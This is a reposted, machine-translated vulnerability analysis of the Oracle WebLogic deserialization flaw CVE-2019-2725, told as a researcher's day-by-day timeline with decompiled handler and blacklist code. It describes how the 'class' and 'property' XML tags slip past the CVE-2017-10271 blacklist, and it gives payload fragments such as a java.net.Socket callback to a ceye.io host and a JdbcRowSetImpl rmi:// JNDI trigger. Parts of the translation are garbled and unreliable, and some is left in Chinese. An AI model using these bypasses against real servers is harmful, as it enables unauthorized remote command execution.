Shulou(Shulou.com)05/31 Report--

In this issue, the editor will bring you about how to achieve WebLogic RCECVE-2019-2725 loophole analysis. The article is rich in content and analyzes and describes it from a professional point of view. I hope you can get something after reading this article.

On April 17, 2019, CNVD issued a Security Bulletin about a vulnerability in deserialization remote Command execution in Oracle WebLogic wls9-async components, pointing out that some versions of WebLogic contain wls9_async_response packages by default to provide asynchronous communication services for WebLogic Server. Due to a flaw in the WAR package when deserializing input information, an attacker can send a specially crafted malicious HTTP request to gain privileges on the target server and execute commands remotely without authorization.

On April 18, 2019, the emergency response began. Because this vulnerability belongs to 0day at that time, there is no patch to refer to, so we can only refer to the announcement step by step. First, take a look at the wls9_async_response.war package mentioned in the announcement and take a look at the url in web.xml.

See / AsyncResponseService and try to visit 404. Then I saw weblogic.xml and weblogic-webservices.xml.

Visit _ async/AsyncResponseService

It can be accessed normally, and combined with the vulnerability disposal recommendations in the announcement, URL access to the / _ async/* path is prohibited. You can guess that the vulnerability entry is here.

There is a class in weblogic-webservices.xml, weblogic.wsee.async.AsyncResponseBean, which follows this class and finds it in wseeclient.jar.

Then I make a breakpoint in the method in this class, and then construct a normal SOAP message and send it.

There is no debug at the breakpoint. Finally, I put all the methods of all wsee/async classes under the breakpoint, resend the message, and successfully intercept it in the handleRequest in the AsyncResponseHandler class.

Continue the process, String var2 = (String) var1.getProperty ("weblogic.wsee.addressing.RelatesTo"); this step never gets a value, resulting in the end of the process. In order to solve this problem, I looked up a lot of data, and finally found a similar example, you can use test to assign values to weblogic.wsee.addressing.RelatesTo.

Demo test

After that, the process can continue, I always thought that the key point of the vulnerability is here, because there are readObject methods in several classes under this wsee.async, I have been trying to jump to the readObject method through AsyncResponseHandler, and then stuck here, the rest of the process will not be written, for this vulnerability is wrong, the above guesses and processes are correct.

four hundred and nineteen

On April 19, 2019, the master who was with me in the emergency sent me a screenshot.

Seeing the RelatesTo in this screenshot, I thought the previous conjecture was not wrong, but it was not well constructed.

Search for the class UnitOfWorkChangeSet globally, and then make a breakpoint in this class.

According to the screenshot, construct a similar one, and then send

In this class, debug arrives.

When you see the readObject that you think about day and night, with the point of anti-sequence, you naturally need to find the utilization chain. At present, the commoncollections-related utilization chain under WebLogic is no longer available. The common-collections version that WebLoigc depends on has been upgraded. First, find a Jdk7u21 test, convert the generated payload into byte, and send it.

As you can see, the command was successfully executed. But this utilization chain is so limited that it is basically useless. I think of an emergency WebLogic anti-sequence vulnerability last year, CVE-2018-3191. Since jdk7u21 is not restricted by blacklist, I think CVE-2018-3191 can also be exploited.

There is no error in guessing, and CVE-2018-3191 can also be exploited, and this loophole is finally a little "harmful". Discuss with the pyn3rd master if there are any other utilization chains, and carefully turn over the blacklist. In addition to CVE-2018-3191, there is only the new jython utilization chain (CVE-2019-2645), submitted by the Matthias Kaiser boss, but this one is not public yet, so this utilization chain cannot be used.

With the correct answer, you can take a look at the previous guess what went wrong.

Go back to the previous step of handleRequest,handleRequest in the AsyncResponseHandler class, the handleRequest method in the HandlerIterator class

Public boolean handleRequest (MessageContext var1, int var2) {this.closureEnabled = false; this.status = 1; WlMessageContext var3 = WlMessageContext.narrow (var1); if (verboseHistory) {updateHandlerHistory ("... REQUEST...", var3);} for (this.index = var2; this.index)

< this.handlers.size(); ++this.index) { Handler var4 = this.handlers.get(this.index); if (verbose) { Verbose.log("Processing " + var4.getClass().getSimpleName() + "... "); } if (verboseHistory) { updateHandlerHistory(var4.getClass().getSimpleName(), var3); } HandlerStats var5 = this.handlers.getStats(this.index); try { var3.setProperty("weblogic.wsee.handler.index", new Integer(this.index)); String var6; if (!var4.handleRequest(var3)) { if (verboseHistory) { var6 = var4.getClass().getSimpleName() + ".handleRequest=false"; updateHandlerHistory(var6, var3); } if (var5 != null) { var5.reportRequestTermination(); } return false; } 会遍历this.handlers，然后调用每个handler的handleRequest去处理用户传入的SOAP Message。 可以看到，AsyncResponseHandler仅仅只是21个handler之中的一个，而weblogic.wsee.addressing.RelatesTo的赋值就是在ServerAddressingHandler中完成的，有兴趣的可以去跟一下。这里面有一个非常重要的handler--WorkAreaServerHandler，看名字可能觉得眼熟，看到里面的handleRequest方法可能就不淡定了。 之后的流程就和CVE-2017-10271是一样的了，关于这个漏洞的分析可以参考廖师傅的 文章 。 跟到这里就可以看出来了，这个url只是CVE-2017-10271漏洞的另外一个入口而已。这也是后期导致假PoC泛滥的一个原因。整个流程大概如下： 那么问题来了，这个PoC是如何绕过CVE-2017-10271的黑名单的呢？ 首先来看一下CVE-2017-10271的补丁，会将传入的数据先调用validate校验，通过之后才交给XMLDecoder。 public WorkContextXmlInputAdapter(InputStream var1) { ByteArrayOutputStream var2 = new ByteArrayOutputStream(); try { boolean var3 = false; for(int var5 = var1.read(); var5 != -1; var5 = var1.read()) { var2.write(var5); } } catch (Exception var4) { throw new IllegalStateException("Failed to get data from input stream", var4); } this.validate(new ByteArrayInputStream(var2.toByteArray())); this.xmlDecoder = new XMLDecoder(new ByteArrayInputStream(var2.toByteArray())); } private void validate(InputStream var1) { WebLogicSAXParserFactory var2 = new WebLogicSAXParserFactory(); try { SAXParser var3 = var2.newSAXParser(); var3.parse(var1, new DefaultHandler() { private int overallarraylength = 0; public void startElement(String var1, String var2, String var3, Attributes var4) throws SAXException { if (var3.equalsIgnoreCase("object")) { throw new IllegalStateException("Invalid element qName:object"); } else if (var3.equalsIgnoreCase("new")) { throw new IllegalStateException("Invalid element qName:new"); } else if (var3.equalsIgnoreCase("method")) { throw new IllegalStateException("Invalid element qName:method"); } else { if (var3.equalsIgnoreCase("void")) { for(int var5 = 0; var5 < var4.getLength(); ++var5) { if (!"index".equalsIgnoreCase(var4.getQName(var5))) { throw new IllegalStateException("Invalid attribute for element void:" + var4.getQName(var5)); } } } if (var3.equalsIgnoreCase("array")) { String var9 = var4.getValue("class"); if (var9 != null && !var9.equalsIgnoreCase("byte")) { throw new IllegalStateException("The value of class attribute is not valid for array element."); } String var6 = var4.getValue("length"); if (var6 != null) { try { int var7 = Integer.valueOf(var6); if (var7 >

= WorkContextXmlInputAdapter.MAXARRAYLENGTH) {throw new IllegalStateException ("Exceed arraylength limitation");} this.overallarraylength + = var7 If (this.overallarraylength > = WorkContextXmlInputAdapter.OVERALLMAXARRAYLENGTH) {throw new IllegalStateException ("Exceed overallarray limitation.");}} catch (NumberFormatException var8) { }

As you can see, object,new,method tags are blocked, and errors are thrown directly. The void tag can only be followed by the index,array tag followed by the class attribute, but the type can only be of type byte. Among them, the filter object tag is a patch for CVE-2017-3506, and the rest is a patch for CVE-2017-10271.

If you look at the blacklist carefully, it is not difficult to find that many of the PoC circulated outside are fake, that is, the new url entrance + the old payload, there is no way to bypass the blacklist.

The key to bypassing the blacklist is the class tag, which can be read from the official documentation.

The class tag can represent an instance of a class, that is, you can use the class tag to create an instance of any class. And the class tag is not on the blacklist of WebLogic, which is the root cause of this vulnerability. On April 26th, Oracle released a patch for this vulnerability, which was confirmed by filtering the class tag.

Since the cause of the vulnerability is to bypass the blacklist of CVE-2017-10271, then wls-wsat.war should also be affected.

Test it. No problem.

This means that the impact components written in CNVD's announcement are not complete, and the vulnerability disposal recommendations are not comprehensive, so it is necessary to prohibit URL access to / _ async/* and / wls-wsat/* path through access policy control, and then we also sent a second notification to CNVD,CNVD synchronously.

four hundred and twenty one

On April 21, 2019, when I was going to construct a detection PoC for this vulnerability, I was able to use the class tag to create an instance of the class. My first consideration was to construct the java.net.Socket, which also led to a JDK version of the pit. I'm testing jdk6. Refer to the previous PoC, which can be constructed like this.

Java.net.Socket aaaaabbbbbbbbbbb.wfanwb.ceye.io 80

The successful receipt of the request by ceye also indicates that the Socket instance is created successfully.

I tested the above test PoC on jdk 7, but failed. I couldn't find an error like java.net.Socket, which made me think that this vulnerability could only be triggered under jdk 6. Later, after careful comparison, I found that it was a newline character problem.

Java.net.Socketaaaaabbbbbbbbbbb.wfanwb.ceye.io80

Instances can be generated under 6 and 7 without newline characters. In fact, this problem had already occurred when I first tested the CVE-2018-3191 payload. Master pyn3rd asked me how the xml payload was generated. I said the splicing and direct System.out.println output were all with newline characters. I had no problem because the jdk running weblogic was jdk6 at that time, but the environment of the pyn3rd master was jdk7 and failed the test. I just felt that the problem was caused by different PoC writing methods. Later, the master solved it by himself. There was no communication here, and a big hole was buried, which caused me to step in behind me.

four hundred and twenty two

On April 22nd, 2019, the pyn3rd master tested WebLogic 12.1.3 unsuccessfully and found that the 12 version did not have the oracle.toplink.internal.sessions.UnitOfWorkChangeSet class, so there was no way to use it. Trying to construct a new exp, the current situation is that you can create an instance of the class, but you can't call the method. Naturally, I think of the class com.sun.rowset.JdbcRowSetImpl.

Rmi://localhost:1099/Exploit true

This is a trigger method for CVE-2017-10271. As mentioned in the previous blacklist, the void tag can only be followed by index, so the above payload will definitely be blocked by the blacklist. Try to rewrite the above payload using the class tag.

During the construction process, when compared to the underlying code, it was found that jdk 6 and jdk 7 handled tags differently.

Jdk 6 uses com.sun.beans.ObjectHandler

Available are string,class,null,void,array,java,object and some basic type tags (such as int).

Jdk7 uses com.sun.beans.decoder.DocumentHandler

As you can see, it is quite different from jdk6. For example, jdk6 does not support tags such as new,property.

When I constructed it with the tag of jdk 6, it didn't work until I saw the property in the source code of jdk 7. That's what I wanted, and the tag wasn't on WebLogic's blacklist. So rewrite the above payload as follows

As you can see, without triggering the blacklist, the command was successfully executed, and without relying on packages within WebLogic, both 10.3.6 and 12.1.3 can be used. Unfortunately, this payload can not type jdk 6, because jdk 6 does not support property tags. I hope someone can write something that can also be used in 6.

four hundred and twenty three

On April 23, 2019, after CNVD issued an announcement and major security companies issued a vulnerability warning, PoC and exp of this model of the new url+ and old payload mentioned earlier were released. Not only at home, but also abroad is very lively, many people said that the test was successful, but all were tested without patches. The WebLogic downloaded from the Oracle official website does not have a patch installed, and the patch for Oracle is charged separately. If you install the patch for CVE-2017-10271, there is no way to trigger these PoC and exp, and you cannot bypass the blacklist.

four hundred and twenty six

On April 26th, 2019, Oracle officially released an emergency patch and assigned the vulnerability number CVE-2019-2725.

four hundred and twenty seven

On April 27th, 2019, the pyn3rd master said that someone had also produced the 12.1.3 version of exp, using org.slf4j.ext.EventData.

Public EventData (String xml) {ByteArrayInputStream bais = new ByteArrayInputStream (xml.getBytes ()); try {XMLDecoder decoder = new XMLDecoder (bais); this.eventData = (Map) decoder.readObject ();} catch (Exception var4) {throw new EventException ("Error decoding" + xml, var4);}}

Looking at the constructor of this class, it is rude to hand over the incoming xml directly to XMLdecoder.

It is equivalent to going through two XMLdecode, so the outer layer is bypassed, the inner layer is directly marked as plain text, the first filter is bypassed, and the second XMLdecode is directly parsed and deserialized by JDK without going through the WebLogic blacklist.

This kind of exp is also the most perfect, there is no jdk version limit, no need for external connection, unfortunately can only play 12.1.3 version.

four hundred and thirty

On April 30th 2019, I saw other ways to exploit this vulnerability in the hands of other bigwigs. There are no version restrictions on weblogic and jdk, which are more perfect than the above. I have seen this kind of use before, that is, the demo video sent by Tenable. I didn't understand it at that time. After seeing the boss's way of using it, I realized what I had overlooked. You can refer to CVE-2017-17485 for the construction method, and I didn't think about it when I constructed exp before. Maybe this is because Brother Heige said the accumulation is not enough.

In response to this vulnerability, Oracle also broke the routine update and released a patch shortly after the vulnerability warning, which was still fixed by using a blacklist.

The above is the editor for you to share how to achieve WebLogic RCECVE-2019-2725 loophole analysis, if you happen to have similar doubts, you might as well refer to the above analysis to understand. If you want to know more about it, you are welcome to follow the industry information channel.

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.